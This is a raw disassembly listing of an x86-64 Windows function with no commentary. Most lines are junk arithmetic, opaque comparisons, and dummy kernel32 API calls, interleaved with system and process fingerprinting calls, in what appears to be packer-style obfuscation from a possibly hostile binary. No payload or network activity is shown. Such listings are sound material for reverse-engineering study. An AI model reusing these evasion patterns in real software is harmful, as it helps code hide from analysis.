mov word [rsp + 0x4cc], ax
mov rax, qword [rsp + 0x3748]
mov rcx, qword [rsp + 0x35a0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x3648], rax
mov eax, dword [rsp + 0x19a4]
sub eax, 3
mov dword [rsp + 0x19a4], eax
mov rax, qword [rsp + 0x3688]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3790]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x3688]
mov word [rcx], ax
mov rax, qword [rsp + 0x3648]
mov rcx, qword [rsp + 0x35a0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3748], rax
mov rax, qword [rsp + 0x3638]
mov ecx, dword [rsp + 0x1a48]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x3638]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3640]
mov ecx, dword [rsp + 0x19bc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1980], eax
movsx eax, byte [rsp + 0x50]
mov rcx, qword [rsp + 0x3740]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1400c9e91], al
movsx eax, word [rsp + 0x4c4]
mov rcx, qword [rsp + 0x3738]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3688]
mov word [rcx], ax
movsx eax, word [section..data]
mov rcx, qword [rsp + 0x3738]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x4c4], ax
mov rax, qword [rsp + 0x3730]
movzx eax, word [rax]
movzx ecx, word [0x1400c9008]
add eax, ecx
mov word [rsp + 0x4cc], ax
movsx eax, byte [rsp + 0x50]
movsx ecx, byte [0x1400c9e91]
sub eax, ecx
mov rcx, qword [rsp + 0x3600]
mov byte [rcx], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnfix]
mov eax, dword [rsp + 0x19cc]
mov ecx, dword [rsp + 0x19b8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1a80], eax
mov rax, qword [rsp + 0x3730]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x4c8]
shl eax, cl
mov rcx, qword [rsp + 0x3730]
mov word [rcx], ax
mov eax, dword [rsp + 0x19bc]
mov ecx, dword [rsp + 0x1978]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x1980], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x1a00], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x1a90], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x3798], rax
mov rcx, qword [rsp + 0x3610]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x1a68], eax
mov rax, qword [rsp + 0x3748]
movzx ecx, al
mov rax, qword [rsp + 0x3648]
sar rax, cl
mov qword [rsp + 0x35a0], rax
movabs rax, 0x77cc5cae93be46
mov rcx, qword [rsp + 0x3608]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x3608], rax
mov rax, qword [rsp + 0x3730]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x4cc]
and eax, ecx
mov word [0x1400c9008], ax
movsx eax, word [section..data]
mov rcx, qword [rsp + 0x3790]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x4c4], ax
movsx eax, byte [0x1400c9e91]
mov rcx, qword [rsp + 0x3600]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x50], al
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
mov rax, qword [rsp + 0x3738]
movsx eax, word [rax]
movsx ecx, word [section..data]
add eax, ecx
mov word [rsp + 0x4c4], ax
mov rax, qword [rsp + 0x3748]
mov rcx, qword [rsp + 0x35a0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3648], rax
movabs rax, 0x75f99312bc9af0
mov rcx, qword [rsp + 0x3608]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3608], rax
mov rax, qword [rsp + 0x3638]
mov ecx, dword [rsp + 0x1994]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x19b8], eax
cmp dword [rsp + 0x19a4], 0xcdfd
ja 0x14000378b
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x37a0], rax
movabs rax, 0x778b7cfbe42a32
cmp qword [rsp + 0x3608], rax
jae 0x1400a6e20
mov rax, qword [rsp + 0x3608]
shl rax, 0x28
mov qword [0x1400c9010], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x37a8], rax
movzx eax, byte [0x1400c9e90]
mov byte [rsp + 0x1a94], al
cmp byte [rsp + 0x1a94], 0x27
je 0x140003d3b
cmp byte [rsp + 0x1a94], 0x91
je 0x1400a6cc9
jmp 0x1400a6e03
lea rax, [rsp + 0x1980]
mov qword [rsp + 0x37b0], rax
mov eax, dword [rsp + 0x1a80]
mov ecx, dword [rsp + 0x19b8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1a48], eax
mov rax, qword [rsp + 0x35a0]
mov qword [rsp + 0x37b8], rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetWriteWatch]
movabs rax, 0x7b447df0fb2aad
mov rcx, qword [0x1400c9010]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3608], rax
movzx eax, word [rsp + 0x4c8]
movzx ecx, word [rsp + 0x4cc]
add eax, ecx
mov word [0x1400c9008], ax
mov rax, qword [rsp + 0x3740]
movsx eax, byte [rax]
movsx ecx, byte [0x1400c9e91]
sub eax, ecx
mov byte [rsp + 0x50], al
movsx eax, word [section..data]
mov rcx, qword [rsp + 0x3688]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3790]
mov word [rcx], ax
movzx eax, word [rsp + 0x4c8]
movzx ecx, word [rsp + 0x4d0]
and eax, ecx
mov rcx, qword [rsp + 0x3730]
mov word [rcx], ax
movzx eax, word [rsp + 0x4cc]
movzx ecx, word [rsp + 0x4c8]
sar eax, cl
mov word [rsp + 0x4d0], ax
movsx eax, word [section..data]
mov rcx, qword [rsp + 0x3688]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x4c4], ax
mov rax, qword [rsp + 0x3748]
movzx ecx, al
mov rax, qword [rsp + 0x35a0]
shl rax, cl
mov qword [rsp + 0x37b8], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LockResource]
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x37c0], rax
movabs rax, 0x79870998566ba6
mov rcx, qword [0x1400c9010]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x3608], rax
mov rax, qword [rsp + 0x3640]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1980]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x19bc], eax
mov rax, qword [rsp + 0x3638]
mov ecx, dword [rsp + 0x1a80]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x1400c9004], eax
movsx eax, byte [0x1400c9e91]
mov rcx, qword [rsp + 0x3600]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x50], al
movzx eax, word [0x1400c9008]
movzx ecx, word [rsp + 0x4cc]
sub eax, ecx
mov rcx, qword [rsp + 0x3730]
mov word [rcx], ax
lea rcx, [rsp + 0xdd58]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
movsx eax, byte [0x1400c9e91]
mov rcx, qword [rsp + 0x3600]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x50], al
mov rax, qword [rsp + 0x3640]
mov rcx, qword [rsp + 0x37b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x19bc], eax
movsx eax, byte [0x1400c9e91]
mov rcx, qword [rsp + 0x3740]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x50], al
mov eax, dword [rsp + 0x1980]
mov ecx, dword [rsp + 0x19bc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3640]
mov dword [rcx], eax
mov eax, dword [rsp + 0x1a18]
add eax, 0x65
mov dword [rsp + 0x1a18], eax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
mov rax, qword [rsp + 0x3748]
mov rcx, qword [rsp + 0x35a0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x37b8], rax
mov rax, qword [rsp + 0x3600]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x50]
sub eax, ecx
mov rcx, qword [rsp + 0x3600]
mov byte [rcx], al
mov rax, qword [rsp + 0x3638]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1994]
sub ecx, eax
mov eax, ecx
mov dword [0x1400c9004], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x1a68], eax
mov rax, qword [rsp + 0x3730]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x4c8]
sar eax, cl
mov rcx, qword [rsp + 0x3730]
mov word [rcx], ax
movsx eax, word [rsp + 0x4c4]
mov rcx, qword [rsp + 0x3738]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x3790]
mov word [rcx], ax
movzx eax, word [rsp + 0x4c8]
movzx ecx, word [rsp + 0x4cc]
shl eax, cl
mov rcx, qword [rsp + 0x3730]
mov word [rcx], ax
movabs rax, 0x7d6b50c9e59f59
mov rcx, qword [0x1400c9010]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x3608], rax
movsx eax, word [section..data]
mov rcx, qword [rsp + 0x3688]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x4c4], ax
movabs rax, 0x77c5d367200f59
mov rcx, qword [0x1400c9010]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3608], rax
mov eax, dword [rsp + 0x1980]
mov ecx, dword [rsp + 0x19bc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x1978], eax
mov rax, qword [rsp + 0x3688]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x4c4]
and eax, ecx
mov rcx, qword [rsp + 0x3790]
mov word [rcx], ax
mov eax, dword [rsp + 0x19cc]
mov ecx, dword [rsp + 0x19b8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3638]
mov dword [rcx], eax
movzx eax, word [rsp + 0x4c8]
movzx ecx, word [rsp + 0x4cc]
sub eax, ecx
mov word [rsp + 0x4d0], ax
movsx eax, byte [0x1400c9e91]
mov rcx, qword [rsp + 0x3740]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x50], al
mov rax, qword [rsp + 0x3688]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3790]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x4c4], ax
movsx eax, byte [0x1400c9e91]
mov rcx, qword [rsp + 0x3600]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x50], al
mov rax, qword [rsp + 0x3730]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x4c8]
sar eax, cl
mov word [rsp + 0x4cc], ax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
mov rax, qword [0x1400c9010]
shl rax, 0x3d
mov qword [rsp + 0x3608], rax
mov rax, qword [rsp + 0x37b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x19bc]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x1978], eax
mov rax, qword [rsp + 0x3638]
mov ecx, dword [rsp + 0x1994]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x19cc], eax
mov rax, qword [rsp + 0x3638]
mov ecx, dword [rsp + 0x19b8]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x3638]
mov dword [rcx], eax
movzx eax, word [rsp + 0x4cc]
movzx ecx, word [rsp + 0x4d0]
sub eax, ecx
mov rcx, qword [rsp + 0x3730]
mov word [rcx], ax
mov rax, qword [rsp + 0x3740]
movsx eax, byte [rax]
movsx ecx, byte [0x1400c9e91]
add eax, ecx
mov rcx, qword [rsp + 0x3740]
mov byte [rcx], al
movsx eax, word [section..data]
mov rcx, qword [rsp + 0x3688]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x4c4], ax
cmp dword [rsp + 0x1a18], 0x8ef5
jne 0x140003d74
mov rax, qword [rsp + 0x37b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x19bc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x1978], eax
mov rax, qword [rsp + 0x3600]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x50]
and eax, ecx
mov rcx, qword [rsp + 0x3740]
mov byte [rcx], al
mov rax, qword [rsp + 0x3640]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1980]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x1978], eax
mov eax, dword [rsp + 0x19cc]
mov ecx, dword [rsp + 0x1a48]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x19b8], eax
mov rcx, qword [rsp + 0x37a0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x1a98], eax
mov eax, dword [rsp + 0x1a88]
sub eax, 0x70
mov dword [rsp + 0x1a88], eax
lea rcx, [rsp + 0xdd88]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x37c8], rax
mov rax, qword [rsp + 0x3648]
mov rcx, qword [rsp + 0x35a0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x37b8], rax
mov rax, qword [rsp + 0x37b0]
mov ecx, dword [rsp + 0x1980]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x3640]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3648]
mov rcx, qword [rsp + 0x35a0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x3748], rax
mov rax, qword [rsp + 0x3790]
movsx eax, word [rax]
movsx ecx, word [section..data]
shl eax, cl
mov word [rsp + 0x4c4], ax
movzx eax, word [rsp + 0x4cc]
movzx ecx, word [rsp + 0x4c8]
sar eax, cl
mov rcx, qword [rsp + 0x3730]
mov word [rcx], ax
mov rax, qword [rsp + 0x3600]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x50]
or eax, ecx
mov rcx, qword [rsp + 0x3740]
mov byte [rcx], al
movzx eax, word [rsp + 0x4c8]
mov rcx, qword [rsp + 0x3730]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x4d0], ax
lea rcx, [rsp + 0x37d0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0x3748]
mov rcx, qword [rsp + 0x35a0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x37b8], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodeSystemPointer]
mov eax, dword [rsp + 0x1980]
mov ecx, dword [rsp + 0x1978]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x37b0]
mov dword [rcx], eax
movsx eax, word [rsp + 0x4c4]
movsx ecx, word [section..data]
add eax, ecx
mov rcx, qword [rsp + 0x3738]
mov word [rcx], ax
mov eax, dword [rsp + 0x19cc]
mov ecx, dword [rsp + 0x1a48]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3638]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3738]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3790]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x4c4], ax
mov rax, qword [rsp + 0x3600]
movsx eax, byte [rax]
movsx ecx, byte [0x1400c9e91]
and eax, ecx
mov byte [rsp + 0x50], al
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x37d8], rax
mov rax, qword [rsp + 0x3730]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x4c8]
sub eax, ecx
mov word [rsp + 0x4d0], ax
mov rax, qword [rsp + 0x3688]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3790]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3738]
mov word [rcx], ax
mov rax, qword [rsp + 0x3730]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x4c8]
sub eax, ecx
mov word [rsp + 0x4d0], ax
mov rax, qword [rsp + 0x3730]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x4cc]
xor eax, ecx
mov rcx, qword [rsp + 0x3730]
mov word [rcx], ax
mov edx, 0x311f2e
mov rcx, qword [rsp + 0x3610]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x1a9c], eax
mov eax, dword [rsp + 0x1980]
movzx ecx, al
mov eax, dword [rsp + 0x19bc]
shl eax, cl
mov dword [rsp + 0x1978], eax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetWriteWatch]
movabs rax, 0x767e90a800bc05
mov rcx, qword [0x1400c9010]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x3608], rax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x19f0], eax
cmp dword [rsp + 0x1a88], 0xe428
jae 0x1400042a5
mov eax, dword [rsp + 0x19b8]
mov rcx, qword [rsp + 0x3638]
mov qword [rsp + 0x37e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x37e0]
mov eax, dword [rax]
shr eax, cl
mov dword [0x1400c9004], eax
mov rax, qword [rsp + 0x3738]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3790]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x3688]
mov word [rcx], ax
movsx eax, byte [rsp + 0x50]
movsx ecx, byte [0x1400c9e91]
add eax, ecx
mov rcx, qword [rsp + 0x3740]
mov byte [rcx], al
mov rax, qword [rsp + 0x3730]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x4d0]
sub eax, ecx
mov rcx, qword [rsp + 0x3730]
mov word [rcx], ax
mov rax, qword [rsp + 0x3740]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x50]
add eax, ecx
mov rcx, qword [rsp + 0x3740]
mov byte [rcx], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitAtomTable]
mov rax, qword [rsp + 0x3730]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x4d0]
add eax, ecx
mov rcx, qword [rsp + 0x3730]
mov word [rcx], ax
movabs rax, 0x7242548010df57
mov rcx, qword [0x1400c9010]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3608], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalCompact]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
mov rax, qword [rsp + 0x3640]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x19bc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x37b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3638]
mov ecx, dword [rsp + 0x1a80]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x3638]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3790]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3688]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3790]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x1a90], eax
movzx eax, word [rsp + 0x4c8]
mov rcx, qword [rsp + 0x3730]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x4d0], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x1a68], eax
mov rax, qword [rsp + 0x3688]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3738]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x4c4], ax
mov rax, qword [rsp + 0x3730]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x4d0]
sar eax, cl
mov word [rsp + 0x4c8], ax
movsx eax, byte [0x1400c9e91]
mov rcx, qword [rsp + 0x3600]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x50], al
movsx eax, word [section..data]
mov rcx, qword [rsp + 0x3790]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x4c4], ax
mov rax, qword [rsp + 0x3748]
mov rcx, qword [rsp + 0x37b8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x35a0], rax
mov rax, qword [rsp + 0x3638]
mov ecx, dword [rsp + 0x19cc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1994], eax
movabs rax, 0x794223fbc9d22d
mov rcx, qword [0x1400c9010]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3608], rax
mov eax, dword [rsp + 0x19c0]
sub eax, 0x25
mov dword [rsp + 0x19c0], eax
mov rax, qword [rsp + 0x37b0]
mov rcx, qword [rsp + 0x3640]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x37b0]
mov dword [rcx], eax
lea rcx, [rsp + 0xdd88]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov rax, qword [rsp + 0x3730]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x4cc]
add eax, ecx
mov rcx, qword [rsp + 0x3730]
mov word [rcx], ax
cmp dword [rsp + 0x19c0], 0xdfc8
jae 0x1400045fb
mov rax, qword [rsp + 0x3738]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3688]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3790]
movsx ecx, word [rcx]
movsx edx, word [section..data]
add ecx, edx
cmp eax, ecx
jne 0x1400a6be1
cmp dword [rsp + 0x1a08], 0xfdaf
jbe 0x140004b3c
mov rax, qword [rsp + 0x37b0]
mov ecx, dword [rsp + 0x1980]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x37b0]
mov dword [rcx], eax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov rax, qword [rsp + 0x3638]
mov ecx, dword [rsp + 0x19cc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1a48], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsProcessInJob]
movsx eax, byte [rsp + 0x50]
mov rcx, qword [rsp + 0x3740]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3600]
mov byte [rcx], al
mov rax, qword [rsp + 0x3638]
mov ecx, dword [rsp + 0x19cc]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x3638]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x50]
mov rcx, qword [rsp + 0x3600]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1400c9e91], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodePointer]
movzx eax, word [rsp + 0x4d0]
mov rcx, qword [rsp + 0x3730]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x4c8], ax
mov rax, qword [rsp + 0x3600]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x3740]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3600]
mov byte [rcx], al
mov rax, qword [rsp + 0x3790]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3738]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x3688]
mov word [rcx], ax
movsx eax, word [section..data]
mov rcx, qword [rsp + 0x3688]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x4c4], ax
mov rax, qword [0x1400c9010]
shl rax, 0x13
mov qword [rsp + 0x3608], rax
mov eax, dword [rsp + 0x1a08]
sub eax, 0x6c
mov dword [rsp + 0x1a08], eax
mov eax, dword [rsp + 0x1978]
mov ecx, dword [rsp + 0x19bc]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3640]
mov dword [rcx], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetPriorityClass]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x37e8], rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov eax, dword [rsp + 0x1a48]
mov ecx, dword [0x1400c9004]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x19b8], eax
mov rax, qword [rsp + 0x37b8]
mov rcx, qword [rsp + 0x3748]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3648], rax
mov rax, qword [rsp + 0x3730]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x4d0]
add eax, ecx
mov rcx, qword [rsp + 0x3730]
mov word [rcx], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
jmp 0x140004917
cmp dword [rsp + 0x1a60], 0x3555
ja 0x140004cae
movzx eax, word [rsp + 0x4c8]
movzx ecx, word [rsp + 0x4d0]
and eax, ecx
mov rcx, qword [rsp + 0x3730]
mov word [rcx], ax
mov rax, qword [rsp + 0x3790]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3738]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x4c4], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov dword [rsp + 0x10890], 0x11c
mov eax, dword [rsp + 0x1a60]
add eax, 0x16
mov dword [rsp + 0x1a60], eax
mov rax, qword [rsp + 0x3600]
movsx eax, byte [rax]
movsx ecx, byte [0x1400c9e91]
add eax, ecx
mov byte [rsp + 0x50], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetSystemTimeAdjustment]
movsx eax, byte [0x1400c9e91]
movsx ecx, byte [rsp + 0x50]
sub eax, ecx
mov rcx, qword [rsp + 0x3740]
mov byte [rcx], al
movsx eax, word [section..data]
mov rcx, qword [rsp + 0x3738]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x4c4], ax
mov eax, dword [rsp + 0x1a48]
mov ecx, dword [rsp + 0x1994]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3638]
mov dword [rcx], eax
mov rax, qword [0x1400c9010]
shr rax, 0x17
mov qword [rsp + 0x3608], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x476
mov r9d, 0xe1d
mov r8d, 0x18c06b86
mov edx, 1
mov rcx, qword [rsp + 0x3750]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x1a10], eax
mov rax, qword [rsp + 0x35a0]
movzx ecx, al
mov rax, qword [rsp + 0x3748]
shl rax, cl
mov qword [rsp + 0x3648], rax
movsx eax, word [rsp + 0x4c4]
mov rcx, qword [rsp + 0x3688]
movsx ecx, word [rcx]
or eax, ecx
mov word [section..data], ax
jmp 0x140004b3c
mov rax, qword [rsp + 0x3740]
movzx eax, byte [rax]
mov byte [rsp + 0x51], al
lea rax, [rsp + 0x4cc]
mov qword [rsp + 0x37f0], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x37f8], rax
mov rax, qword [rsp + 0x3640]
mov rcx, qword [rsp + 0x37b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov ecx, dword [rsp + 0x1978]
imul ecx, dword [rsp + 0x19bc]
cmp eax, ecx
jge 0x1400a6b82
movzx eax, byte [0x1400c9e90]
mov byte [rsp + 0x52], al
mov rax, qword [rsp + 0x3640]
mov ecx, dword [rsp + 0x19bc]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x37b0]
mov edx, dword [rsp + 0x1978]
mov ecx, dword [rcx]
sub ecx, edx
cmp eax, ecx
jg 0x1400a6a0a
mov rax, qword [rsp + 0x3790]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3738]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3688]
mov word [rcx], ax
mov rax, qword [rsp + 0x3600]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x3740]
movsx ecx, byte [rcx]
add eax, ecx
movsx ecx, byte [rsp + 0x50]
movsx edx, byte [rsp + 0x51]
add ecx, edx
cmp eax, ecx
jg 0x1400a6853
mov eax, dword [rsp + 0x1980]
cdq
idiv dword [rsp + 0x1978]
